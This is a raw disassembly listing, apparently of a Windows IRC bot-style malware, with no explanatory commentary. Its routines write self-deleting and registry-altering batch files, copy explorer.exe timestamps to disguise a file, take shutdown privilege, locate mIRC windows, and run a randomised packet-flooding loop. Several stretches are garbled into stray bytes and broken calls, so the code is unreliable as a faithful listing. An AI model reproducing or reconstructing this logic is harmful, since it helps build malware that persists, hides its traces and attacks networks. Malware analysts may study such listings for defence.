					; sub_407FEA+6Bp

arg_0		= byte ptr  4

		movsx	eax, [esp+arg_0]
		push	eax
		call	sub_415223
		cmp	al, 61h
		pop	ecx
		jl	short loc_407FE7
		cmp	al, 7Ah
		jg	short loc_407FE7
		movsx	eax, al
		sub	eax, 60h
		retn
; ---------------------------------------------------------------------------


loc_407FE7:				; CODE XREF: sub_407FCC+Ej
					; sub_407FCC+12j
		xor	eax, eax
		retn
sub_407FCC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407FEA	proc near		; CODE XREF: sub_4096F5+A0p

var_100C	= dword	ptr -100Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 100Ch
		call	sub_413E30
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_413DB0
		push	[ebp+arg_4]
		mov	[ebp+var_4], eax
		call	sub_413DB0
		mov	esi, eax
		lea	eax, [ebp+var_100C]
		push	eax
		push	esi
		push	[ebp+arg_4]
		mov	[ebp+var_C], esi
		call	sub_407F90
		add	esp, 14h
		dec	esi
		mov	edi, esi


loc_408028:				; CODE XREF: sub_407FEA+B6j
		test	esi, esi
		jle	short loc_4080A6
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_415223
		mov	ebx, eax
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [edi+eax]
		push	eax
		call	sub_415223
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40809E


loc_40804E:				; CODE XREF: sub_407FEA+B2j
		mov	ebx, [ebp+arg_0]
		mov	al, [edi+ebx]
		push	eax
		call	sub_407FCC
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+eax*4+var_100C]
		pop	ecx
		mov	ecx, edx
		sub	ecx, esi
		cmp	ecx, eax
		jle	short loc_40806F
		mov	eax, ecx


loc_40806F:				; CODE XREF: sub_407FEA+81j
		add	edi, eax
		cmp	edi, [ebp+var_4]
		jge	short loc_4080A2
		mov	eax, [ebp+arg_4]
		lea	esi, [edx-1]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_415223
		mov	edx, eax
		movsx	eax, byte ptr [edi+ebx]
		push	eax
		mov	[ebp+var_8], edx
		call	sub_415223
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		cmp	eax, ecx
		jnz	short loc_40804E


loc_40809E:				; CODE XREF: sub_407FEA+62j
		dec	edi
		dec	esi
		jmp	short loc_408028
; ---------------------------------------------------------------------------


loc_4080A2:				; CODE XREF: sub_407FEA+8Aj
		xor	eax, eax
		jmp	short loc_4080AB
; ---------------------------------------------------------------------------


loc_4080A6:				; CODE XREF: sub_407FEA+40j
		mov	eax, [ebp+arg_0]
		add	eax, edi


loc_4080AB:				; CODE XREF: sub_407FEA+BAj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_407FEA	endp

; ---------------------------------------------------------------------------


loc_4080B0:				; CODE XREF: seg000:0040EEA9p
		push	ebp
		mov	ebp, esp
		sub	esp, 100h
		push	esi
		call	ds:dword_41F068	; RtlGetLastWin32Error
		mov	esi, eax
		push	0
		lea	eax, [ebp-100h]
		push	100h
		push	eax
		push	400h
		push	esi
		push	0
		push	1200h
		call	near ptr 0A70000h
		aam	8Dh
		test	[eax], eax
; ---------------------------------------------------------------------------
		dw 0FFFFh
		dd 80088AFFh, 57F1FF9h,	7509F980h, 0F1EB4003h, 48002080h
		dd 0FF008D8Dh, 0C13BFFFFh, 88A0C72h, 742EF980h,	21F980EBh
		dd 858DE67Ch, 0FFFFFF00h, 38BE5056h, 0FF0042F8h, 44680875h
		dd 6800425Ch, 200h, 0B9F8E856h,	0C4830000h, 5EC68B18h
; ---------------------------------------------------------------------------
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40813A	proc near		; CODE XREF: seg000:004104E4p
		push	esi
		push	0
		call	ds:dword_42F6D8
		test	eax, eax
		jz	short loc_408171
		push	1
		call	ds:dword_42F6F8
		mov	esi, eax
		test	esi, esi
		jz	short loc_408171
		push	edi
		push	esi
		call	ds:dword_41F0C0	; GlobalLock
		push	esi
		mov	edi, eax
		call	ds:dword_41F0BC	; GlobalUnlock
		call	ds:dword_42F75C
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_408171:				; CODE XREF: sub_40813A+Bj
					; sub_40813A+19j
		xor	eax, eax
		pop	esi
		retn
sub_40813A	endp


; =============== S U B	R O U T	I N E =======================================



sub_408175	proc near		; CODE XREF: seg000:0040F8A0p
		push	ebp
		push	esi
		push	edi
		xor	esi, esi
		mov	edi, offset aMirc ; "mIRC"
		push	esi
		push	edi
		call	ds:dword_42F714
		mov	ebp, eax
		cmp	ebp, esi
		jz	short loc_4081F1
		push	ebx
		push	edi
		push	1000h
		push	esi
		push	4
		push	esi
		push	0FFFFFFFFh
		call	near ptr 0A70000h
		mov	dl, 56h
		push	esi
		mov	edi, eax
		push	esi
		push	0F001Fh
		push	edi
		call	near ptr 0A70000h
		mov	al, ds:142474FFh
		mov	ebx, eax
		push	ebx
		call	sub_4135AD
		pop	ecx
		pop	ecx
		push	esi
		push	1
		push	4C8h
		push	ebp
		call	ds:dword_42F764
		push	esi
		push	1
		push	4C9h
		push	ebp
		call	ds:dword_42F764
		push	ebx
		call	near ptr 0A70000h
		aam	57h
		call	ds:dword_41F070	; CloseHandle
		push	1
		pop	eax
		pop	ebx
		jmp	short loc_4081F3
; ---------------------------------------------------------------------------


loc_4081F1:				; CODE XREF: sub_408175+16j
		xor	eax, eax


loc_4081F3:				; CODE XREF: sub_408175+7Aj
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_408175	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4081F7	proc near		; CODE XREF: seg000:0040AD2Fp

var_11C		= byte ptr -11Ch
var_18		= byte ptr -18h
var_10		= byte ptr -10h
var_8		= byte ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 11Ch
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_11C]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset aExplorer_exe ; "explorer.exe"
		push	esi
		call	ds:dword_42F7C4
		test	eax, eax
		jz	short near ptr loc_408292+4
		mov	edi, 80h
		push	esi
		push	edi
		push	3
		push	esi
		mov	esi, ds:dword_41F078
		push	1
		lea	eax, [ebp+var_11C]
		push	80000000h
		push	eax
		call	esi ; dword_41F078
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short near ptr loc_408292+4
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	near ptr 0A70000h
		or	al, 53h
		mov	ebx, ds:dword_41F070
		call	ebx ; dword_41F070
		push	0
		push	edi
		push	3
		push	0
		push	2
		push	40000000h
		push	[ebp+arg_0]
		call	esi ; dword_41F078
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short near ptr loc_408292+4
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		call	near ptr 0A70000h


loc_408292:				; CODE XREF: sub_4081F7+2Aj
					; sub_4081F7+51j ...
		adc	dword ptr [esi-1], 5B5E5FD3h
		leave
		retn
sub_4081F7	endp


; =============== S U B	R O U T	I N E =======================================



sub_40829B	proc near		; CODE XREF: seg000:0040C711p
		push	1
		push	offset aSeshutdownpriv ; "SeShutdownPrivilege"
		call	sub_4120CB
		pop	ecx
		pop	ecx
		push	50005h
		push	6
		call	ds:dword_42F650
		neg	eax
		sbb	eax, eax
		neg	eax
		retn
sub_40829B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4082BD	proc near		; CODE XREF: seg000:00410764p

var_764		= byte ptr -764h
var_260		= byte ptr -260h
var_15C		= byte ptr -15Ch
var_58		= dword	ptr -58h
var_4C		= dword	ptr -4Ch
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_14		= byte ptr -14h
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 764h
		push	esi
		xor	esi, esi
		cmp	ds:dword_428238, esi
		push	edi
		jz	short loc_4082E1
		cmp	ds:dword_42F7D8, esi
		jnz	short loc_4082E1
		push	esi
		call	sub_409824
		pop	ecx


loc_4082E1:				; CODE XREF: sub_4082BD+13j
					; sub_4082BD+1Bj
		call	sub_413222
		lea	eax, [ebp+var_764]
		push	eax
		push	400h
		call	near ptr 0A70000h
		std
		lea	eax, [ebp+var_764]
		push	eax
		lea	eax, [ebp+var_260]
		push	offset aSdel_bat ; "%sdel.bat"
		push	eax
		call	sub_4135AD
		add	esp, 0Ch
		lea	eax, [ebp+var_260]
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		push	40000000h
		push	eax
		call	ds:dword_41F078	; CreateFileA
		mov	edi, eax
		cmp	edi, esi
		jbe	loc_408441
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_764]
		push	offset a@echoOffRepeat ; "@echo	off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"...
		push	eax
		call	sub_4135AD
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		call	sub_413DB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		push	edi
		call	near ptr 0A70000h
		db	65h
		push	edi
		call	ds:dword_41F070	; CloseHandle
		push	10h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_413630
		push	44h
		lea	eax, [ebp+var_58]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_413630
		add	esp, 18h
		mov	[ebp+var_58], edi
		mov	edi, 104h
		lea	eax, [ebp+var_15C]
		push	edi
		push	eax
		push	esi
		mov	[ebp+var_4C], offset byte_42E348
		mov	[ebp+var_2C], 1
		mov	[ebp+var_28], si
		call	near ptr 0A70000h
		leave
		push	eax
		call	near ptr 0A70000h
		iret
; ---------------------------------------------------------------------------
		db 8Dh,	85h, 0A4h
		dd 50FFFFFEh, 0F07C15FFh, 0F8830041h, 8D1274FFh, 0FFFEA485h
		dd 8068FFh, 0E8500000h,	667C18h, 0A4858D72h, 50FFFFFEh
		dd 0FDA0858Dh, 8D50FFFFh, 0FFF89C85h, 5C8468FFh, 0E8500042h
		dd 0B1A5h, 8D10C483h, 0FFFC9C85h, 8D5057FFh, 0FFF89C85h
		dd 0E1E850FFh, 6A00667Bh, 50EC458Dh, 50A8458Dh,	8685656h
		dd 6A000040h, 858D5601h, 0FFFFFC9Ch, 0E8565056h, 667BC0h
		db 0B7h
; ---------------------------------------------------------------------------


loc_408441:				; CODE XREF: sub_4082BD+72j
		pop	edi
		pop	esi
		leave
		retn
sub_4082BD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408445	proc near		; CODE XREF: seg000:0040AB44p

var_1860	= byte ptr -1860h
var_158		= byte ptr -158h
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		mov	eax, 1860h
		call	sub_413E30
		push	esi
		push	edi
		mov	ecx, 5C1h
		mov	esi, offset a@echoOffEchoRe ; "@echo off\r\nEcho REGEDIT4>%temp%\\1.reg\r\n"...
		lea	edi, [ebp+var_1860]
		lea	eax, [ebp+var_158]
		rep movsd
		movsw
		push	offset aCA_bat	; "c:\\a.bat"
		push	eax
		movsb
		call	sub_4135AD
		pop	ecx
		xor	esi, esi
		pop	ecx
		lea	eax, [ebp+var_158]
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		push	40000000h
		push	eax
		call	ds:dword_41F078	; CreateFileA
		mov	edi, eax
		cmp	edi, esi
		jbe	short loc_4084FF
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_1860]
		push	eax
		call	sub_413DB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1860]
		push	eax
		push	edi
		call	near ptr 0A70000h
		retn
; ---------------------------------------------------------------------------
		db 57h,	0FFh, 15h
		dd offset dword_41F070
		dd 458D446Ah, 56575FB8h, 0B15EE850h, 0C4830000h, 0A84D8D0Ch
		dd 66B87D89h, 6AE87589h, 8D515801h, 5651B84Dh, 89286A56h
		dd 5650E445h, 0FEA8858Dh, 5056FFFFh, 7B02E856h
		db 66h,	0, 8Eh
; ---------------------------------------------------------------------------


loc_4084FF:				; CODE XREF: sub_408445+55j
		pop	edi
		pop	esi
		leave
		retn
sub_408445	endp


; =============== S U B	R O U T	I N E =======================================



sub_408503	proc near		; CODE XREF: sub_4013E9+7p
					; sub_401B7C+7p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	ds:dword_42F748
		cmp	eax, 0FFFFFFFFh
		jnz	short locret_40852B
		push	[esp+arg_0]
		call	ds:dword_42F78C
		test	eax, eax
		jnz	short loc_408524
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_408524:				; CODE XREF: sub_408503+1Bj
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]

locret_40852B:				; CODE XREF: sub_408503+Dj
		retn
sub_408503	endp


; =============== S U B	R O U T	I N E =======================================



sub_40852C	proc near		; CODE XREF: sub_40B07B+D6p
		mov	ecx, ds:dword_42F630
		xor	eax, eax
		test	ecx, ecx
		jz	short locret_40853A
		call	ecx ; dword_42F630

locret_40853A:				; CODE XREF: sub_40852C+Aj
		retn
sub_40852C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40853B	proc near		; CODE XREF: seg000:loc_410496p

var_88		= byte ptr -88h
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 88h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	ebx
		lea	eax, [ebp+var_8]
		xor	edi, edi
		push	ebx
		push	eax
		push	edi
		xor	esi, esi
		mov	[ebp+var_8], edi
		mov	[ebp+var_4], ebx
		call	ds:dword_42F784
		mov	ecx, eax
		sub	ecx, edi
		jz	loc_408601
		sub	ecx, 32h
		jz	loc_4085FA
		sub	ecx, 48h
		jz	short loc_40859B
		sub	ecx, 6Eh
		jz	short loc_408594


loc_40857D:				; CODE XREF: sub_40853B+8Bj
		push	eax
		lea	eax, [ebp+var_88]
		push	offset unk_4274C0
		push	eax
		call	sub_4135AD
		add	esp, 0Ch
		jmp	short loc_4085DB
; ---------------------------------------------------------------------------


loc_408594:				; CODE XREF: sub_40853B+40j
		push	offset unk_427488
		jmp	short loc_4085CD
; ---------------------------------------------------------------------------


loc_40859B:				; CODE XREF: sub_40853B+3Bj
		push	[ebp+var_8]
		call	sub_413E5F
		push	[ebp+var_8]
		mov	esi, eax
		push	edi
		push	esi
		call	sub_413630
		add	esp, 10h
		cmp	esi, edi
		jz	short loc_4085C8
		lea	eax, [ebp+var_8]
		push	ebx
		push	eax
		push	esi
		call	ds:dword_42F784
		cmp	eax, edi
		jz	short loc_408601
		jmp	short loc_40857D
; ---------------------------------------------------------------------------


loc_4085C8:				; CODE XREF: sub_40853B+79j
		push	offset unk_427444


loc_4085CD:				; CODE XREF: sub_40853B+5Ej
					; sub_40853B+C4j
		lea	eax, [ebp+var_88]
		push	eax
		call	sub_4135AD
		pop	ecx
		pop	ecx


loc_4085DB:				; CODE XREF: sub_40853B+57j
		lea	eax, [ebp+var_88]
		mov	[ebp+var_4], edi
		push	eax
		call	sub_409615
		pop	ecx


loc_4085EB:				; CODE XREF: sub_40853B+C8j
					; sub_40853B+DCj
		push	esi
		call	sub_413ED3
		mov	eax, [ebp+var_4]
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_4085FA:				; CODE XREF: sub_40853B+32j
		push	offset unk_427400
		jmp	short loc_4085CD
; ---------------------------------------------------------------------------


loc_408601:				; CODE XREF: sub_40853B+29j
					; sub_40853B+89j
		cmp	[esi], edi
		jbe	short loc_4085EB
		lea	ebx, [esi+4]


loc_408608:				; CODE XREF: sub_40853B+DAj
		push	ebx
		call	ds:dword_42F780
		inc	edi
		add	ebx, 18h
		cmp	edi, [esi]
		jb	short loc_408608
		jmp	short loc_4085EB
sub_40853B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408619	proc near		; CODE XREF: seg000:00401E3Ep
					; seg000:0040252Fp ...

var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	esi
		push	10h
		pop	eax
		mov	[ebp+var_4], eax
		push	eax
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		call	sub_413630
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_42F6AC
		movzx	eax, [ebp+var_D]
		push	eax
		mov	esi, offset dword_42FA3C
		movzx	eax, [ebp+var_E]
		push	eax
		movzx	eax, [ebp+var_F]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	esi
		call	sub_4135AD
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_408619	endp


; =============== S U B	R O U T	I N E =======================================



sub_408672	proc near		; CODE XREF: seg000:004012FEp
					; seg000:00401344p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		cmp	esi, 1
		jle	short loc_40869B
		mov	ecx, esi
		push	edi
		shr	ecx, 1
		mov	edx, ecx
		neg	edx
		lea	esi, [esi+edx*2]
		mov	edx, [esp+8+arg_0]


loc_40868E:				; CODE XREF: sub_408672+24j
		movzx	edi, word ptr [edx]
		add	eax, edi
		inc	edx
		inc	edx
		dec	ecx
		jnz	short loc_40868E
		pop	edi
		jmp	short loc_40869F
; ---------------------------------------------------------------------------


loc_40869B:				; CODE XREF: sub_408672+Aj
		mov	edx, [esp+4+arg_0]


loc_40869F:				; CODE XREF: sub_408672+27j
		test	esi, esi
		pop	esi
		jz	short loc_4086A9
		movzx	ecx, byte ptr [edx]
		add	eax, ecx


loc_4086A9:				; CODE XREF: sub_408672+30j
		mov	ecx, eax
		and	eax, 0FFFFh
		shr	ecx, 10h
		add	ecx, eax
		mov	eax, ecx
		shr	eax, 10h
		add	eax, ecx
		not	eax
		retn
sub_408672	endp

; ---------------------------------------------------------------------------


loc_4086BF:				; DATA XREF: seg000:0040E08Fo
		push	ebp
		mov	ebp, esp
		mov	eax, 10320h
		call	sub_413E30
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	49h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-144h]
		rep movsd
		push	1
		pop	edi
		mov	[eax+120h], edi
		call	ds:dword_42F694
		mov	[ebp+8], eax
		lea	eax, [ebp-0C0h]
		push	eax
		call	ds:dword_42F748
		mov	esi, eax
		xor	ebx, ebx
		xor	eax, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_40871A
		lea	eax, [ebp-0C0h]
		push	eax
		call	ds:dword_42F78C
		cmp	eax, ebx
		jz	short loc_408720


loc_40871A:				; CODE XREF: seg000:00408707j
		cmp	dword ptr [ebp+8], 0FFFFFFFFh
		jnz	short near ptr loc_40877C+1


loc_408720:				; CODE XREF: seg000:00408718j
		lea	eax, [ebp-0C0h]
		push	eax
		lea	eax, [ebp-344h]
		push	offset unk_427544
		push	eax
		call	sub_4135AD
		add	esp, 0Ch
		cmp	[ebp-28h], ebx
		jnz	short loc_408760
		push	ebx
		lea	eax, [ebp-344h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-140h]
		push	eax
		push	dword ptr [ebp-144h]
		call	sub_4110B0
		add	esp, 14h


loc_408760:				; CODE XREF: seg000:0040873Ej
		lea	eax, [ebp-344h]
		push	eax
		call	sub_409615
		push	dword ptr [ebp-30h]
		call	sub_413375
		pop	ecx
		pop	ecx
		push	edi
		call	near ptr 0A70000h


loc_40877C:				; CODE XREF: seg000:0040871Ej
		add	[ebx], edi
		retn
; ---------------------------------------------------------------------------
		jz	short loc_40878D
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp-4], eax
		jmp	short loc_408790
; ---------------------------------------------------------------------------


loc_40878D:				; CODE XREF: seg000:0040877Fj
		mov	[ebp-4], esi


loc_408790:				; CODE XREF: seg000:0040878Bj
		push	1Ch
		lea	eax, [ebp-20h]
		push	ebx
		push	eax
		call	sub_413630
		or	dword ptr [ebp-18h], 0FFFFFFFFh
		mov	eax, 0FFDCh
		add	esp, 0Ch
		cmp	[ebp-3Ch], eax
		jle	short loc_4087B0
		mov	[ebp-3Ch], eax


loc_4087B0:				; CODE XREF: seg000:004087ABj
		cmp	[ebp-38h], edi
		jge	short loc_4087B8
		mov	[ebp-38h], edi


loc_4087B8:				; CODE XREF: seg000:004087B3j
		xor	esi, esi
		cmp	[ebp-40h], ebx
		jle	short loc_4087E5


loc_4087BF:				; CODE XREF: seg000:004087E3j
		push	dword ptr [ebp-38h]
		lea	eax, [ebp-20h]
		push	1Ch
		push	eax
		push	ebx
		lea	eax, [ebp-10320h]
		push	dword ptr [ebp-3Ch]
		push	eax
		push	dword ptr [ebp-4]
		push	dword ptr [ebp+8]
		call	ds:dword_42F62C
		inc	esi
		cmp	esi, [ebp-40h]
		jl	short loc_4087BF


loc_4087E5:				; CODE XREF: seg000:004087BDj
		push	dword ptr [ebp+8]
		call	ds:dword_42F7C0
		lea	eax, [ebp-0C0h]
		push	eax
		lea	eax, [ebp-344h]
		push	offset unk_427504
		push	eax
		call	sub_4135AD
		add	esp, 0Ch
		cmp	[ebp-28h], ebx
		jnz	short loc_40882E
		push	ebx
		lea	eax, [ebp-344h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-140h]
		push	eax
		push	dword ptr [ebp-144h]
		call	sub_4110B0
		add	esp, 14h


loc_40882E:				; CODE XREF: seg000:0040880Cj
		lea	eax, [ebp-344h]
		push	eax
		call	sub_409615
		push	dword ptr [ebp-30h]
		call	sub_413375
		pop	ecx
		pop	ecx
		push	ebx
		call	near ptr 0A70000h
; ---------------------------------------------------------------------------
		db 3Ch

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40884B	proc near		; DATA XREF: seg000:0040E1D6o

var_10312	= byte ptr -10312h
var_10310	= byte ptr -10310h
var_334		= byte ptr -334h
var_134		= dword	ptr -134h
var_130		= byte ptr -130h
var_B0		= byte ptr -0B0h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 10310h
		call	sub_413E30
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	49h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_134]
		rep movsd
		push	1
		pop	esi
		mov	[eax+120h], esi
		call	ds:dword_41F044	; GetTickCount
		push	eax
		call	sub_4135FF
		pop	ecx
		push	11h
		push	2
		push	2
		call	ds:dword_42F788
		mov	ebx, eax
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_413630
		add	esp, 0Ch
		lea	eax, [ebp+var_B0]
		mov	[ebp+var_10], 2
		push	eax
		call	ds:dword_42F748
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jnz	short loc_408930
		lea	eax, [ebp+var_B0]
		push	eax
		call	ds:dword_42F78C
		cmp	eax, edi
		jnz	short loc_408929
		lea	eax, [ebp+var_B0]
		push	eax
		lea	eax, [ebp+var_334]
		push	offset dword_4275C0
		push	eax
		call	sub_4135AD
		add	esp, 0Ch
		cmp	[ebp+var_18], edi
		jnz	short loc_40890C
		push	edi
		lea	eax, [ebp+var_334]
		push	[ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_130]
		push	eax
		push	[ebp+var_134]
		call	sub_4110B0
		add	esp, 14h


loc_40890C:				; CODE XREF: sub_40884B+9Fj
		lea	eax, [ebp+var_334]
		push	eax
		call	sub_409615
		push	[ebp+var_20]
		call	sub_413375
		pop	ecx
		pop	ecx
		push	esi
		call	near ptr 0A70000h
		push	eax


loc_408929:				; CODE XREF: sub_40884B+7Fj
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		jmp	short loc_408933
; ---------------------------------------------------------------------------


loc_408930:				; CODE XREF: sub_40884B+6Ej
		lea	eax, [ebp+arg_0]


loc_408933:				; CODE XREF: sub_40884B+E3j
		mov	eax, [eax]
		cmp	[ebp+var_24], edi
		mov	[ebp+var_C], eax
		jnz	short loc_40894E
		call	sub_413609
		cdq
		mov	ecx, 0FFDCh
		idiv	ecx
		inc	edx
		push	edx
		jmp	short loc_408951
; ---------------------------------------------------------------------------


loc_40894E:				; CODE XREF: sub_40884B+F0j
		push	[ebp+var_24]


loc_408951:				; CODE XREF: sub_40884B+101j
		call	ds:dword_42F708
		cmp	[ebp+var_24], esi
		mov	[ebp+var_E], ax
		jge	short loc_408963
		mov	[ebp+var_24], esi


loc_408963:				; CODE XREF: sub_40884B+113j
		mov	eax, 0FFFFh
		cmp	[ebp+var_24], eax
		jle	short loc_408970
		mov	[ebp+var_24], eax


loc_408970:				; CODE XREF: sub_40884B+120j
		mov	eax, [ebp+var_30]
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		cmp	[ebp+var_28], edi
		mov	[ebp+var_30], eax
		jnz	short loc_408984
		mov	[ebp+var_28], esi


loc_408984:				; CODE XREF: sub_40884B+134j
		xor	esi, esi
		cmp	[ebp+var_2C], edi
		jle	short loc_4089A5


loc_40898B:				; CODE XREF: sub_40884B+158j
		call	sub_413609
		cdq
		mov	ecx, 0FFh
		idiv	ecx
		inc	esi
		cmp	esi, [ebp+var_2C]
		mov	[ebp+esi-10311h], dl
		jl	short loc_40898B


loc_4089A5:				; CODE XREF: sub_40884B+13Ej
					; sub_40884B+19Cj ...
		mov	eax, [ebp+var_30]
		dec	[ebp+var_30]
		test	eax, eax
		jle	short loc_408A04
		push	0Bh
		pop	esi


loc_4089B2:				; CODE XREF: sub_40884B+197j
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	sub_413609
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		mov	eax, [ebp+var_2C]
		sub	eax, edx
		push	eax
		lea	eax, [ebp+var_10310]
		push	eax
		push	ebx
		call	ds:dword_42F76C
		push	[ebp+var_28]
		call	ds:dword_41F058	; Sleep
		dec	esi
		jnz	short loc_4089B2
		cmp	[ebp+var_24], edi
		jnz	short loc_4089A5
		call	sub_413609
		cdq
		mov	ecx, 0FFDCh
		idiv	ecx
		inc	edx
		push	edx
		call	ds:dword_42F708
		mov	[ebp+var_E], ax
		jmp	short loc_4089A5
; ---------------------------------------------------------------------------


loc_408A04:				; CODE XREF: sub_40884B+162j
		lea	eax, [ebp+var_B0]
		push	eax
		lea	eax, [ebp+var_334]
		push	offset dword_427580
		push	eax
		call	sub_4135AD
		add	esp, 0Ch
		cmp	[ebp+var_18], edi
		jnz	short loc_408A44
		push	edi
		lea	eax, [ebp+var_334]
		push	[ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_130]
		push	eax
		push	[ebp+var_134]
		call	sub_4110B0
		add	esp, 14h


loc_408A44:				; CODE XREF: sub_40884B+1D7j
		lea	eax, [ebp+var_334]
		push	eax
		call	sub_409615
		push	[ebp+var_20]
		call	sub_413375
		pop	ecx
		pop	ecx
		push	edi
		call	near ptr 0A70000h
		and	byte ptr ds:dword_42FA54[ecx], ah ; CODE XREF: sub_408AC9+7Ep
					; seg000:00408CB1p
sub_40884B	endp ; sp-analysis failed

		push	esi
		mov	esi, ds:dword_41F070
		cmp	eax, 0FFFFFFFFh
		jz	short loc_408A75
		push	eax
		call	esi ; dword_41F070


loc_408A75:				; CODE XREF: seg000:00408A70j
		mov	eax, ds:dword_42FA5C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_408A82
		push	eax
		call	esi ; dword_41F070


loc_408A82:				; CODE XREF: seg000:00408A7Dj
		mov	eax, ds:dword_42FA50
		cmp	eax, 0FFFFFFFFh
		jz	short loc_408A8F
		push	eax
		call	esi ; dword_41F070


loc_408A8F:				; CODE XREF: seg000:00408A8Aj
		pop	esi
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408A91	proc near		; CODE XREF: seg000:0040F862p

var_17F68A40	= byte ptr -17F68A40h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_0]
		call	sub_413DB0
		pop	ecx
		mov	[ebp+var_4], eax
		lea	ecx, [ebp+var_4]
		push	0
		push	ecx
		push	eax
		push	[ebp+arg_0]
		push	ds:dword_42FA58
		call	near ptr 0A70000h
		adc	[ebp+var_17F68A40], al
		mov	eax, ds:33FFFFFFh
		ror	cl, 0C3h
		push	1
		pop	eax
